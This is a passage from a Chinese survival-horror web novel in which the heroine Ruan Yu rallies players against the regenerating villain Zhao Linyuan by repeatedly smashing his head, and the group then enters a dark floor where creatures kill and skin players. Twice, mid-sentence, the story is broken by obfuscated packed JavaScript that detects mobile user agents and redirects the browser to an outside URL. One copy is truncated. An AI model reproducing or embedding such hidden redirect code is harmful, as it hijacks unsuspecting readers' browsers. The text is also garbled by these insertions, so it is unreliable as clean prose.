蓝帽子的态度相对乐观:“说不定她是杀了赵临渊,才拿到的权限呢?” 另两个人立刻跑出休息室,回来时否决了这个可能。 因为赵临渊还好好的活着。 蓝帽子的脸色不可遏制地凝重起来。 “那这么说……她的权限确实是通过赵临渊拿到的,赵临渊为什么会把这样的权限给她?难道赵临渊很倚重她?” 如果真是这样,他们决不会回复阮钰的合作邀请。 宁可死在怪物嘴里,也不能死在赵临渊手里,这是在场大家公认的底线。 T恤男不赞成地摇着头:“那她就不该通过聊天权限找我们了,这不是明显的自爆行为吗?她总不能是巴不得我们不信任她吧?人怎么能犯这样的低级错误?” 寸头男立刻反驳:“也不一定啊,万一她就是反其道而行之,用自爆的方式获得我们的信任呢?” 三人讨论了半天也没聊出结果,最后选择默契地关闭游戏页面,静观其变。 如果阮钰真有合作的诚意,一定会继续找他们的。 “再休息一会儿,三点的时候我们前往四楼。” T恤男玩家冷静地说:“好不容易走到这,我们距离这栋建筑的核心秘密只剩最后一道关卡了……与其寄希望于别人的合作,不如靠我们自己的力量通关。” 在角落里沉默的卫曦微微抬头,不可察觉地啧了两声。 “可不是我不帮你,是他们信不过你哦。” …… 另一间休息室,坐着两个容貌相似的男生。 他们刚从厮杀中活下来,脚边是死去队友扭曲的干枯尸骸。 二人身上的衣服沾着血,各自受了不同程度的伤,只能在沙发上苟延残喘地休息着。 突然弹出来的游戏页面吓得他们差点从沙发上跳起来。 “你也收到了?”格子衫青年问。 黄头发年轻人重重点头:“是一个叫阮钰的女生……她问我们要不要一起掀翻游戏,她这是想合作吗?哥,我们要怎么回复?” 格子衫盯着聊天页面上的女生头像,心事重重地说:“能有聊天权限的人,应该和赵临渊有千丝万缕的联系,我们不能信她。” 黄头发年轻人叹了口气,目光转向二人身上的伤口,眼神晦暗:“但我们都受了伤,继续强行闯关的话,我们一定会死的。” 两人同时陷入沉默。 现在摆在他们面前的只有两条路。 要么拒绝这个明显有问题的合作,独自闯关,在腿脚不便身受重伤的情况下死在第四层。 要么答应对方的合作,主动步入大概率存在的陷阱,换取暂时的苟活。 二者都是死局。 格子衫叹息,自责地垂下头:“还是我太没用了,没办法保护好你。小远,你把我杀了吧,这样你的任务进度就到九了,你再去其他方向找其他玩家,只要能杀死一个,你的任务就完成了,我也……死而无憾。” 黄发青年瞪大眼睛,不可置信地说:“哥,你在说什么?!你让我杀了你?我们是亲兄弟!我怎么能……” “但我们没有别的办法了。”格子衫青年悲伤地说,“我的伤太重了,只会是你的拖累,与其两个人都死,还不如……” “不行!”黄发青年想都不想的拒绝,他走到格子衫面前,双手握紧哥哥的肩膀,隔着眼镜,二人四目相对,“我们都要活着,哥,我们都会活着的,你信我。” 活着……多么梦幻的词啊。 格子衫笑容苦涩。 良久,黄发青年艰难地开口:“哥,我想到办法了。” “那个女生不是联系我们要合作吗?她身上一定有积分,或者她身边会有队友,我们先假装答应,等见到面后,哥先杀了她,拿到她的积分。” 他闭了闭眼,表情挣扎,但说出的话语却无比冰冷:“如果我们能继承她的权限就更好了,可以用她的权限钓鱼,查清其他玩家所在的位置,再杀过去……这样,我们就都能活下来了。” “不行!”格子衫猛地坐起来,怒声斥责:“小远!他们好不容易活到现在,那个女生明显是想合作通关,你怎么能……你这样和赵临渊有什么区别!” “那能怎么办!”黄发青年大声反驳,脖子上青筋暴起,歇斯底里地大喊:“他们的死活和我有关系吗?他们是我的亲人吗?我现在管不了那么多了!我只想让我们两个活着离开这个鬼地方!” 气氛陡然僵持。 黄发闭了闭眼,复又睁开,朝格子衫露出温顺的笑容:“哥,你什么都不用管,所有的脏事都由我来做。” 格子衫痛苦地攥着头发,“不行,小远,我们不能再犯错了……” 黄发刚要再说什么,门外传来的一道男声打断了他。 “你们两兄弟的情谊真是感天动地啊……”赵临渊缓步走到二人面前,染血的西装依旧板正地贴在身上,他没有佩戴窥神眼镜,露出精明的双眼,笑吟吟地朝兄弟二人伸出手:“答应我的合作,我保你们全部通关。” “当然,你们有拒绝的权利……如果你们能承受后果的话。” …… 阮钰回到休息室,等待其他玩家给她回复,同时把她的计划告诉其他队友。 “钰姐,你的意思是要联合所有玩家,一起找道具?”魏柏图这次反应过来了,“他们能信你吗?再说了,就算有道具,咱们又到不了其他楼,也拿不到啊。” 这栋建筑四个方向的楼层是被隔开的,完全不互通,如果想到达另一个方向的某层楼,只能先下到一楼,在一楼走到对应方向的楼梯,再重新上楼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548385|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这个过程非常的麻烦,重点是如果到达一楼时,无可避免的会遇到赵临渊。 赵临渊会让他们明目张胆的组队吗? 阮钰的手指敲着茶几,单手撑头,若有所思地说:“他们会怀疑我的权限从何而来,会猜测我和赵临渊的关系。所以,我需要用一件事,得到他们的信任。” “至于道具的事,顺其自然就好,本来我也没完全指望他们。” 阮钰承认她确实有些过于谨慎,即使已经转变了思维,她也无法完全依赖他人,比起别人送来的线索,她更相信自己亲手找到的蛛丝马迹。 罗威难得没有表态,而是抬步走到了楼梯口,在一处几乎无法察觉的黑暗角落里,拿出了他之前随身携带的笔记本,随后郑重地交到了阮钰手上。 在她疑惑的目光中,罗威沉声解释:“这是比我的性命还重要的东西,我不确定我能不能活着走出这里,为了保险起见,我只能拜托你了。” 屋里几人全部陷入沉默,注视着这沉重的一幕。 罗威说:“阮钰,相信你也感觉出来了,我不是个传统意义上的好人,我和赵临渊一样卑劣,都视别人的性命如草芥……但我比他更有底线,你可以当做这是我的自夸言论,我不会反驳。” “我所做的一切,都是为了更多人的存活,我认为小部分人的牺牲换来人类种群的延续,这是值得的……我的观念是对是错并不重要,至少我坚定的在做这件事。” 他深深地吸了一口气,选择在此刻将他的内心世界彻底剖析,换来面前女人的一丝信任。 “这个本子里记载的都是官方目前还不知道的内容,包括游戏方式、感染者的弱点,以及关于‘伥鬼’的记载。接下来,我会用我的生命保护你活着离开这局游戏,前提是你答应我,会把这个本子交给江城情报部,” 他的表情是前所未有的郑重,语气真诚,拿着笔记本的手在微微地颤抖。 他在紧张,在忐忑,不确定他现在的行为是否正确,但这是他唯一能做的了。 “如果我不答应呢?”阮钰的目光从笔记本上移开。 “那我只能毁了它。”罗威垂下眼,“我杀不了你,你也不会给我机会,我只能做最坏的打算。” 换句话说,如果他有能力杀掉阮钰的话,他会立刻行动。 他没有掩盖过他的恶劣心思,并大方的承认下来。 魏柏图和陈老虎都试图张嘴,想说点什么,但这个话题沉重到让他们哑口无言,感觉说什么都不太对,只能继续沉默。 在罗威沉重的目光中,阮钰接过了笔记本,并把它塞到了自己衣服的内侧口袋里。 她不是被罗威感动到了,只是不想放弃这样一个做顺水人情的机会。她需要借助官方的力量,也需要有真正可靠的队友在身后。 魏柏图和陈老虎再如何乖巧无害,终究还是陌生人。 罗威却是真正有求于她的利益牵绊者。 二者有着本质区别。 罗威大喜过望,刚要道谢,却被女人过于冷漠的语气打断:“把你的枪给我。” 罗威毫不犹豫地摘下腰间的手枪,在众人面前交到了她手里。 “还剩三发子弹,其他子弹我在幻境里用掉了。” 阮钰把枪别在腰后,抬头看着面前的虚无。 “有人回复我了。” 方远:【我答应你的合作,但我需要知道你目前掌握的线索,否则我无法信任你。】 24. 来者不善 阮钰凝视着空中的虚浮文字,又点开方远的个人信息页。 【方远】 【职业:自由职业】 【年龄:20】 【积分:0】 【当前任务进度:5/10】 她又点开另一个头像。 【方青】 【职业:建筑设计师】 【年龄:24】 【积分:0】 【当前任务进度:3/10】 通过两个人相同的姓氏和相似的样貌,不难推断出来,这是一对亲兄弟。 他们的积分说明了他们所在的队伍只剩这两个幸存者。 难怪他们会直接答应合作。 两个人要想继续闯关,存活率几乎为零,除非他们极其强大,配合得极其默契。 否则,他们只能退而求其次,寻找其他办法通关。 比如和其他人合作。 再比如……接近其他小队,杀几个人,凑够任务所需的数量。 “来者不善。”罗威皱眉说,“他们不怀疑你和赵临渊的关系,直接答应合作,要么是根本不在乎赵临渊的算计,要么是醉翁之意不在酒。” “我知道,但我们早就预料到这样的可能了,不是吗?”阮钰心态平和,“合作的主导者是我,放心,我会让他们心甘情愿的点头。” 阮钰无视方远的询问,点开聊天权限,再次挨个发送消息。 阮钰:【出来,楼下。】 消息发出后不到三分钟,两个方向的三楼楼梯栅栏处都出现了人影。 卫曦所在小队的三个男玩家凑在一起,俯视着一楼的方向,三脸茫然。 蓝帽子问:“她又要干什么?” T恤男摸着下巴,玩家试图分析:“她应该是要自证吧?但在一楼吗?那里有赵临渊啊。” 寸头男摆烂耸肩:“先看看吧,反正咱们也不下去。” 方氏兄弟在另一个方向,脸色是如出一辙的难看。 方远说:“哥,你说她要做什么?赵临渊想要的消息我们没拿到,那……” 方青揉了揉鼻梁,“没事,赵临渊想让我们做他的耳朵和眼睛,只要我们不暴露,就始终是有价值的。他暂时不会让我们……再看看。” 赵临渊已经回到了一楼,他坐在祭台旁的椅子上,眼神阴翳。 他现在已经确定,陈老虎早已背叛他,投靠了阮钰,但那只是一枚无关紧要的小棋子,所以他并不在乎。 现在的重点是阮钰。 她太奇怪了……之前她的生命值明明下降到了十点,那是个非常危险的数字,一个喷嚏都有可能夺走她的性命,所以他派去季胜男为阮钰收尸。 哪怕阮钰没死,季胜男也有能力杀了她。 但阮钰的生命值突然恢复到了巅峰,季胜男带着她的任务进度死在了阮钰手里,他连救人的机会都没有,让阮钰成了第一个通关游戏的玩家。 他损失了一个好用的臂膀,让他的敌人安然通关。 她通关了,但她没有离开,而是留在这里继续研究关卡,她还做出了他最不愿意见到的行动——联合所有玩家。 他摆下这么大一盘棋,好不容易把玩家们分开,却被阮钰掀了棋盘。 被打上追杀印记就好好的去死啊!为什么还要给他添堵?! “没关系,这是我的地盘。”赵临渊试图安慰自己,“我已经选择了新的棋子,我不需要棋子的忠诚,只需要他们帮我搞清楚阮钰到底知道了多少东西……无论怎样,我都是主导者,阮钰只是个无关紧要的小意外而已。” 他深呼吸,平复着内心的波动,重新投入理智的怀抱。 他的新棋子已经在试探阮钰的计划了,很快就会有结果…… 他试图重新扯起嘴角,恢复到最初掌控一切的地位,刚找到了点感觉,余光却扫到了从楼上缓步下楼的女人,笑容骤然变成了满心的杀意。 “阮!钰!” 赵临渊咬着牙关,压抑着内心翻涌的杀意,无视系统发出的警告,直视向他走来的女人:“你又要做什么?我亲爱的队员?” 阮钰晃了晃脖子,骨节碰撞,发出瘆人的咔哒咔哒声。 她脱下外套,带着肌肉的胳膊露在外面,外套绑在腰上,不着痕迹地掩盖住了身后的枪和衣服里的笔记本,迎着赵临渊警惕的目光,毫不犹豫地一拳打过去。 赵临渊猜到来者不善,却没想到阮钰二话不说直接动手,狼狈地往后退了三步,险之又险地躲开了杀伤力巨大的拳头,恼羞成怒:“够了!你真当我打不过你吗?” 空了一拳,阮钰冷静地化拳为掌,反手抓住他的一条腿,双臂用力,赵临渊立刻失去重心,整个人仰摔在地上,背部重重着地。 他没有挣扎的机会,因为下一刻他的头发就被一只手抓住,接着就是一股他无法抵抗的巨大力量把他拎了起来,他像死狗一样被拖到了祭台前,后脑勺的力量猛地加重,他惊恐地瞪大眼睛,看着冰冷的石质祭台飞快靠近—— 砰! 鲜血炸开! 赵临渊的脑袋被重重地摔在祭台上,灰白色的祭台被迸溅的鲜血染成红色,血迹慢慢渗到祭台的凹槽里,缓慢地消失不见。 与之一起消失的,还有他的呼吸和心跳。 砰!砰!砰!…… 阮钰面无表情地抓着男人的脑袋,重重地砸在祭台上,每一下都用尽了全力,赵临渊的头骨以肉眼可见的速度瘪了下去,又以无法想象的方式缓慢地恢复着…… 她抬眼,无视在黑暗中悄步靠近物资区的其他队友,目光投向楼上目瞪口呆的五个人。 此时此刻,其他人才正式见到这位想要联合所有玩家的“阮钰”的真容。 她看上去不像暴力分子,相反,她的气质过于的冷静从容,每一下动作都干脆利落,像是常年杀人的杀手。却不会让人觉得害怕,反倒有种难以形容的安心感。 被她抓在手里的赵临渊满脸鲜血,已经看不出五官,手也垂在地上一动不动,看起来有点死了。 但没过几秒钟,他又开始试图挣扎,被阮钰再次砸死。 “这……也太残暴了吧……” 蓝帽子目瞪口呆,咽了好几下口水,才找到自己的声音。 另两个玩家也迟迟回不过神。 过了好几分钟,赵临渊又被砸死两次,他们才恍然出声:“所以,这就是她的‘诚意’?暴打……啊不对,打死赵临渊?这诚意也太简单粗暴了吧!” 寸头男狠狠出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551469|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口恶气,兴奋地说:“但很有用,不是吗?看到赵临渊被打,我心里是真爽。不管她有没有阴谋,冲着她敢暴打赵临渊这件事,我就信她了!” 蓝帽子疯狂点头。 T恤男还想谨慎点:“再观察看看吧,万一这是赵临渊的苦肉计……” “你确定苦肉计是这么用的?”蓝帽子指着祭台的方向,“赵临渊都被开瓢七次了,这特么能是苦肉计?” T恤男:“……” 祭台上,阮钰像一台没有感情的机器,抓着赵临渊的头发,每次感觉到他的挣扎和呼吸后,就机械地把他的脑袋再撞到祭台上。祭台边缘被头骨磕出了凹陷,赵临渊重生的时间间隔也越来越长。 黑暗里,阮钰收到了队友发来的信号,点了点头,再次点开聊天权限。 阮钰:【怎么说,现在有兴趣合作了吗?】 三个玩家毫不犹豫地答应下来。 【可以,你找我们还是我们找你?】 阮钰:【我们去找你们。】 她又联系了方家兄弟中的弟弟方远。 阮钰:【有合作意向就下楼。】 方家兄弟犹豫了半分钟,最终转身走下楼梯,前往一楼。 赵临渊的半个脑袋像摔碎的烂西瓜,血肉模糊,看不出人形。 他复活的时间因为连续多次的死亡,被延长到了半分钟。 阮钰嫌弃地松开手,用他的西装擦了擦手上的血,等方家兄弟到达后,带着其他人前往卫曦小队方向的楼层。 魏柏图他们在赵临渊第一次昏迷的时候就下了楼,到物资区找到了想要的东西后,就在暗处等待阮钰的指挥。 五人小队因方家兄弟的到来,变得有些拥挤。 方家兄弟最初还担心会不会被盘查拷问,又或者被人怀疑动机,心里想好了各种回答,没想到上楼的过程居然意外的和平。 和平到让他们差点忘了这是个危机重重的游戏。 “我们这是要去哪儿?”方远忍不住,最先开口发问。 “和其他队友汇合。”阮钰简短地回答说。 “汇合之后呢?”方远追问。 “看情况。”阮钰敷衍他。 两兄弟对视后默契地不再开口。 等到三楼后,剩余的所有玩家共聚一堂。 大家分开而坐,泾渭分明。 阮钰一行人占了最大的沙发,方家兄弟单独站在不远处,卫曦小队的四个人凑在一起,互相警觉地望着对方,等待其他人开口打破沉默。 “我有通关的线索,现在缺少道具,所以需要大家一起寻找。”阮钰开门见山地说。 “通关?你说的是哪种通关?”T恤男冷静询问,“是杀了所有人的通关,还是……” 阮钰平静地看着对方,语气沉稳,“我需要启动一个仪式,一旦成功,我们剩下的所有人都能安然通关,谁都不用死。” 冷静的气氛立刻躁动起来。 “真的?那是什么仪式?你怎么知道它有用?”方远最先站不住,急忙问:“那你需要什么?要去哪里找?” “你就这么信她了?”T恤男皱眉。 “不然呢?你们有其他线索吗?”方远反问回去。 “有。”T恤男说。 25. 颠倒世界 “但在分享线索之前,我需要知道你缺少什么道具,你的信息来源是什么,以及……你为什么和赵临渊有相同的权限。” 他静静地注视着阮钰,主动提出他的要求。 他的态度并不和善,甚至称得上冒犯。他已经做好了对方生气的准备,却没想到阮钰竟然赞同地点了头。 有的谈就行,在这样的生死关头,保持质疑是有必要的。 能活到现在的玩家,不会有傻子。 ……魏柏图除外。 “我在第二层的幻境世界,找到了怪物守护的黄金书,上面记载了祭祀仪式和所需要的道具,分别是是鸦羽、铜丝、罗盘和画像。”阮钰说。 “私聊权限确实是我从赵临渊那里要来的,如你们所见,在一个小时前,我用同样的方式杀了他两次,他就把权限给我了。”她耸了耸肩,像叙述一件再平常不过的小事。 其他玩家震惊地互相对视。 杀了赵临渊两次? 难怪她对赵临渊下手那么狠,原来是早有旧仇。 他们对面前这位女玩家的印象再次刷新,由最初的审视和怀疑变成了彻头彻尾的惊叹和钦佩。 敢直面赵临渊,并且有能力击杀他那么多次,都证明她是个能力强大到远超他们想象的玩家。 这么粗的大腿摆在这儿,不抱的是傻子。 三人用眼神交流了一番,由T恤男做代表:“好,我们相信你了,请问能看看你找到的黄金书吗?我们想确认一下线索的真实性。” “当然。”阮钰示意魏柏图把黄金书拿出来,摆到桌子上。 证据摆在面前,大家再也无法怀疑阮钰想要合作的诚意。 尤其是蓝帽子三人。 “你真的……我相信你了。”寸头男看着黄金书上的内容,叹为观止,“我还担心会不会被骗,没想到你们竟然真的是想合作……实话说吧,我们也有特殊的线索。” 阮钰的真诚让他们最初的怀疑和不信任都显得有些卑劣了。 他征得队友的同意后,开口说:“我们得到的线索没有你这么具体,只知道需要寻找与神明有关的四种祭祀所用之物,其中关键的兽羽在神明之下的世界。根据我们的推测,‘神明之下的世界’指代的是四楼,神明所在的位置就是最顶层。” “嗯?”阮钰皱了下眉,“可我在二楼怪物嘴里得知的信息是,四楼是无用的障碍,不用浪费时间。” 蓝帽子说:“怪物之间有等级区分,可能它们之间的信息交流也不对等。总之这里是找不到鸦羽了,咱们现在人这么齐,不如去四楼找找看。” 他的提议得到了其他人的赞成。 与其干等着,不如直接行动起来。 阮钰询问小队其他人的意见,大家意见一致,决定上楼。 她有想过要把罗威留在三楼的安全屋,虽然他说他会用性命保护自己,但她暂时不需要一个残疾人的保护。 转念想到赵临渊有自由前往任意楼层的特殊能力,留罗威自己在这里,说不定他会死在赵临渊手里,于是她还是带着罗威一起行动了,但在上楼之前,她叮嘱陈老虎和魏柏图多照顾一下伤残患者。 另两个小队的成员她不放心,说不定其中就有赵临渊的眼线,多留个心眼总是好的。 一行人前往四楼。 在前进时,方青身形微顿。 他收到了赵临渊的消息。 【怎么样了?】 方青眼神晦暗,攥着拳头,看着在最前方领队的阮钰,沉默良久,最终选择了回复。 【阮钰得到了和某个仪式有关的线索,正在收集道具,现在缺少鸦羽,他们准备前往四楼寻找鸦羽。】 赵临渊:【继续盯着,必要时候破坏他们的行动。放心,我会救你们。】 …… 楼下,赵临渊的头刚恢复成正常形状。 他眼神狠毒地盯着祭台上的鲜血,牙齿因极致的愤怒而咯吱作响,游戏的红字提醒触目惊心地浮在空中,被他彻底无视。 “阮钰,阮钰……” 他疯狂呢喃着阮钰的名字,倘若忽视他脸上的滔天恨意,会让人误以为他是阮钰的狂热追求者。 赵临渊撑着发痛的脑袋,过多的死亡次数让“伥鬼的庇护”的效果减弱了很多,恢复的时间和速度也被延长。 但这不是最痛苦的。 每一次死亡降临时的极致恐惧、理智消散时的无助、呼吸和心跳停止带来的窒息感,远比疼痛更加痛苦万倍。 这样的折磨,他经历了至少十次。 每一次都拜阮钰所赐。 也是这个女人,整合了所有幸存者,找到了关键的线索,掀翻了他布下的棋盘…… 他选中的犬牙死在她手上,他亲手帮她完成了任务,他自己成了她向幸存者们证明能力的道具,他在她面前只是一只毫无杀伤力的小猫。只要她想,她可以杀死他一百次,一千次……他的所有计划也因她即将功亏一篑。 赵临渊无比迫切地希望阮钰变成一具惨死的尸体。 他不知道问题出在哪里,他的计划明明是那么的天衣无缝! 他要成为最优秀的“伥鬼”,获得他想要的自由。所以,他选择了全球最难的S级副本,目的是筛选出三位最强大玩家为他效力,通过这种高强度的养蛊模式组建出最强的玩家队伍。 玩家们被分散开,他隐瞒了游戏内容,却又挑拨他们的关系,让他们自相残杀,直到出现最强的蛊王。 而他自己只需要守卫着祭台,保证没有任何人能找到真正的通关方式。 首夜结束后,未被净化的任务地点将分配给所负责的“伥鬼”,这里将成为他发展势力的根据地。 这明明是个很完美的计划。 可阮钰的出现,让一切都变了……她的队伍异常团结,她知道了真相,她毁了他的养蛊计划,她集合了幸存者们,甚至要夺走他的根据地…… 疼痛慢慢消散,他努力消化着方青传来的信息,但头脑的昏胀感影响了他处理信息的速度,足足过了好几分钟才想出有效的应对办法。 “这里是我的主场,我是这里的主人,没有人能忤逆我……” 虚拟的红色游戏屏幕漂浮在他面前,屏幕上是一栋建筑的缩小模型,他点开建筑的第四层,屏幕内容开始放大,直到出现了漆黑杂乱的鸟类巢穴。 巢穴的外形像是一颗即将孵化的鸡蛋,里面充斥着无尽的可怖黑暗,几个发光的人形小点漂浮在巢穴外处,如同将要踏入虎穴的无知羊群。 赵临渊的眼睛不再眨动,五官开始扭曲 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“我们接下来要怎么做?”方青和方远牵着手飘在空中,防止兄弟二人会分散,面前伸手不见五指的黑暗让他们产生了强烈的不安感。 “这里太黑了。”夏茵努力控制着身体,“我们什么都看不到,怎么找道具?再说,万一黑暗中有什么危险……” 她的话还没说完,在寂静的黑暗深处突然传来奇怪的空气拍打声,好像是某种鸟类在起飞时扑腾翅膀的声音。 阮钰感觉到了极其强烈的危机感。 她面前的空气突然被搅动,似乎有什么东西贴着她的面颊飞过去了,身后同时传来夏茵和方家兄弟的痛呼声。 “有东西在攻击我!” 夏茵的胳膊被尖锐的东西夹住,立刻被拧下来了一块肉,袖子撕拉一声被扯坏,血肉和布料混在一起,只留下露出了血管的模糊伤口,疼得她脸色发白。 她的另一只手拿着甩棍,用力击打着面前的空气,黑暗阻挡了她的视野,她根本不知道攻击她的是个什么东西,只想赶紧把它甩开,顺便向队友求助。 但随着她攻击的力气越来越大,耳边全是甩棍打中对方的闷响,攻击她的东西非但没有退开,甚至像受了什么刺激,攻击的力度和频率越来越大。 方家兄弟那边比她还要惨,兄弟俩在进入关卡前就受了伤,加上他们因为怕分散而紧紧攥着对方的手,导致防御和攻击的力度都弱得可怜,两个人身上多出了好几处鲜血淋漓的伤口,空气里全是惨叫声。 魏柏图他们想要去救下队友,纷纷拿出了武器。怕在黑暗中误伤队友,他们还要时刻出声提醒各自的位置。 扑腾翅膀的声音越来越多了。 队友们的惨叫声也越来越多。 受到攻击的人不再是夏茵和方家兄弟,连魏柏图和陈老虎他们也在其中,他们很快从“救队友”变成了“保护自己”,翅膀的拍打声和武器击打声混在一起,场面一片混乱。 在混乱的边缘,阮钰闭着眼,用耳朵仔细分辨那些被忽视的细节。 她没有被攻击。 罗威也没有被攻击。 这是为什么? 26. 巨树之目 她继续皱眉倾听。 随着大家的叫声越来越大,未知生物的攻击也越来越频繁…… 是声音? “都先别出声!”阮钰立刻大声提醒,同时,她控制着身体快速向后方闪躲。同一时间,她面前的空气再次被搅动,漆黑的影子贴着她的面颊冲向她刚刚所在的位置,却扑了个空。 这证明她的猜测是正确的。 她立刻点开游戏页面,想通过私聊权限联系其他队友,再次得到了权限无法使用的提示。 她沉住气,酝酿片刻,控制身体远离了未知生物所在的位置,然后一鼓作气地快速说:“这些东西会根据声音辨别方位!” 说完,她再次闪开。 刚刚的攻击再次上演,未知生物似乎对她的声音有了提防,飞过来的速度明显加快,她的手臂被锋利的物体划出一道血色的浅浅伤口。 队友们听到了她的话,顾不得分辨真假,立刻咬紧嘴唇,把到嘴边的声音全部咽回肚子里。 还是那句话,活到现在的玩家没有傻子,阮钰只需要一句话,他们就立刻明白了自己该怎么做。 忍着,不能反抗,不能攻击,任何有可能发出声音的行为都不能做。 喧闹的空间瞬间归于无尽的寂静。 随着声音的消失,空气里翅膀的扑腾声戛然而止,未知生物失去了目标,在原地像无头苍蝇似的乱飞了一会儿,最后又一起飞回了黑暗的未知之地。 它们飞行的方向相同,阮钰猜测那可能是它们的老巢。 所有人都屏着气不敢出声,尽管身上有着大大小小的不同伤口,疼得他们脸色惨白,但受伤总好过比起被那些生物一块肉一块肉地活剐到死。 听到那些生物离开的声音,他们小小的松了口气,随后又开始迷茫地四处张望。 不能出声,然后呢?他们要做什么? 阮钰在黑暗中闭眼沉思,现在距离天亮只剩不到一个半小时了,时间紧凑,不能干等着。 既然那些生物会根据声音辨别方向,那光线会不会引来它们的攻击? 她记得陈老虎进来的时候背上了他的登山包,里面装着几根手电筒。她回忆着陈老虎最初发声的位置,控制着身体无声地飘了过去,在黑暗中摸索到了一个有着结实肌肉的厚实肩膀。 陈老虎被突然出现的手吓得灵魂出窍,惊叫声都到嗓子眼了,又被他活生生地咽了下去,在他举起菜刀的瞬间,耳边及时传来阮钰的气声:“是我。” “我草……” 陈老虎摸了把额头,脑门上全是冷汗。 他想问阮钰要干什么,感觉到阮钰轻手轻脚地拉开了他的背包拉链,拿出了两根手电筒,一个放在他手里,一个被她拿走。接着她又把手伸到了他的口袋里,取走了他的手机。 阮钰飘到了距离陈老虎至少十多米外的地方,在确定周围没有其他人后,她拨动开关,一道细长的白色光芒瞬间爆射六七米远,照亮了黑暗中密集的羽毛状的细小尘埃。 正常的家用手电筒照明距离至少有三四十米远,户外手电筒的照明距离能达到一百米左右。 但在这片黑暗空间里,手电筒的光芒被缩小到仅剩六七米远,光柱之外是如同无垠宇宙般的浓郁黑暗,粘稠的空气缓慢地流动着。 手电筒亮了一分钟左右,什么都没发生。 没有生物攻击她,空气一如既往的安静,只有玩家们或不解或恍然的目光切实地存在着。 声音会引来攻击,但光不会。 罗威和T恤男是最快反应过来的,他们分别拿出自己的手机,点开手电筒。 其他人也有样学样,用手电筒照亮了自己的脸,全都看着阮钰,等待她的指示。 面前这仿若恐怖片的场景,让阮钰太阳穴狂跳,她有些无语地朝他们打了个通俗易懂的手势。 “跟我走。” 她按照记忆,朝着那些未知生物的方向游动,后面跟着好几只发光的小尾巴。 她飘了大概一百米左右,面前的空旷空间终于出现了第一个可被观察的物体—— 一个由黑色羽毛搭建的古怪巢穴,静静地伫立在他们的头顶。 她点开陈老虎的手机,壁纸是他和一个穿着校服的女生的合照。陈老虎笑着抚摸女生的头顶,女生露出嫌弃和无奈的表情,校服上是江城三中的校徽。 3:13 距离天亮仅剩一个小时左右。 她把手机揣回口袋里,举着手电筒,仔细地观察着黑色巢穴。 搭建巢穴的羽毛非常硕大,长度比得上成年人的手臂。黑色的羽毛几乎不反光,像一张大嘴,贪婪地吞噬了所有光明。 她的手电筒继续向上探寻,发现巢穴的表面虽然由凌乱的羽毛交叠在一起,但触摸上去却是奇怪的滑腻触感。巢穴整体的形状非常奇怪,是竖着的半圆形,底部狭窄,慢慢地向上变宽,但手电筒的光芒有限,他们看不到上方的尽头。 她试着继续往前走,想要越过头顶的黑色巢穴,看看更深处还有什么。 她带着大家像小鱼一样游过巢穴,无声地游了十分钟左右,见到了这片漆黑空间中唯一的亮光。 那是一棵根茎无比粗大的巨树,至少有一百层楼的高度。 在巨树面前,阮钰他们只是一个个不起眼的小光点。 巨树下方是深渊般的雾海,它漂浮在雾海上方,根部是层层缠绕的复杂根茎,根茎十分粗大,最细的根茎都粗达七八米,最粗的根茎宽度堪比一栋居民楼。 巨树的粗壮枝干是中空的,中间的空洞上下窄细,中间宽大,边缘形状流畅,最中心静静地漂浮着一团艳丽的七彩光团。 乍一看,像是巨树中心长出了一只眼睛。 如果只看到这,阮钰会夸赞这幅场景震撼人心,美丽绝伦。 但,随着他们的目光继续向上,所有人的脸色骤然变得惨白。 巨树的树冠上有着密密麻麻的白色叶子,那些叶子形状不一,静静地垂在枝头,在七彩光团的映照下,能看清叶子的具体模样…… 那不是叶子,分明是一张又一张光滑完整的人皮! 人皮被完整地剥了下来,没有眼球的眼皮后是无尽的黑暗空间,无神地注视着不慎闯入的客人们,被撕裂的嘴巴被不存在的风吹动,沙沙地发出低哑可怖 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成千上万双眼睛睁开,泛着幽深的血色光芒,一眨不眨地注视着这些来历不明的闯入者们…… 不好! 刚刚的干呕声惊动了它们! 阮钰立刻转头,用手势示意大家赶快离开,可大部分人都沉浸在面前的恐惧场景中回不过神,根本看不见她的提醒。 直到那些长着螯足的黑卵突然飞过来,如同蝗虫过境般一拥而上,趴在发出干呕声的蓝帽子身上,黑色的翅膀扑腾着,掩盖了蓝帽子的惨叫声。 几秒钟后,黑卵们又快速地飞走,只留下几只黑卵用螯足夹着一张白色的光滑人皮,它们小心翼翼地把人皮挂到树上,又在黑暗中捡起了漆黑的骨头,以虔诚的姿态将骨头送入巨树的巨目中。 巨目里的色团闪烁了一下,紧接着重归宁静。 黑卵们又回到了它们的巢穴,安静地悬吊着。 在某个不起眼的黑色角落里,诞生出了一枚新的卵,卵上的花纹和死去的蓝帽子的脸一模一样。 所有玩家都露出悲痛和恐惧交杂的表情。 蓝帽子就这么……死了? 仅仅因为他看到同类的皮囊后,干呕了一下? 【隐藏任务:净化里斯曼大学】 【任务进度:55%】 进度上涨了。 阮钰盯着空中的游戏提醒,又看向巨树之目中的明亮色团,一个过于大胆的想法出现。 巨树之目里的色团,就是她需要的东西。 她朝着巨树之目的方向飘,下一刻,一只手拉住了她。 罗威震惊地比划着手势,在空中画了个大大的问号。 阮钰点了下面前的空气,示意这是游戏的提醒。 罗威沉默,仅剩的手握成拳,然后郑重地伸出大拇指和食指,晃了两下后,食指指着他自己。 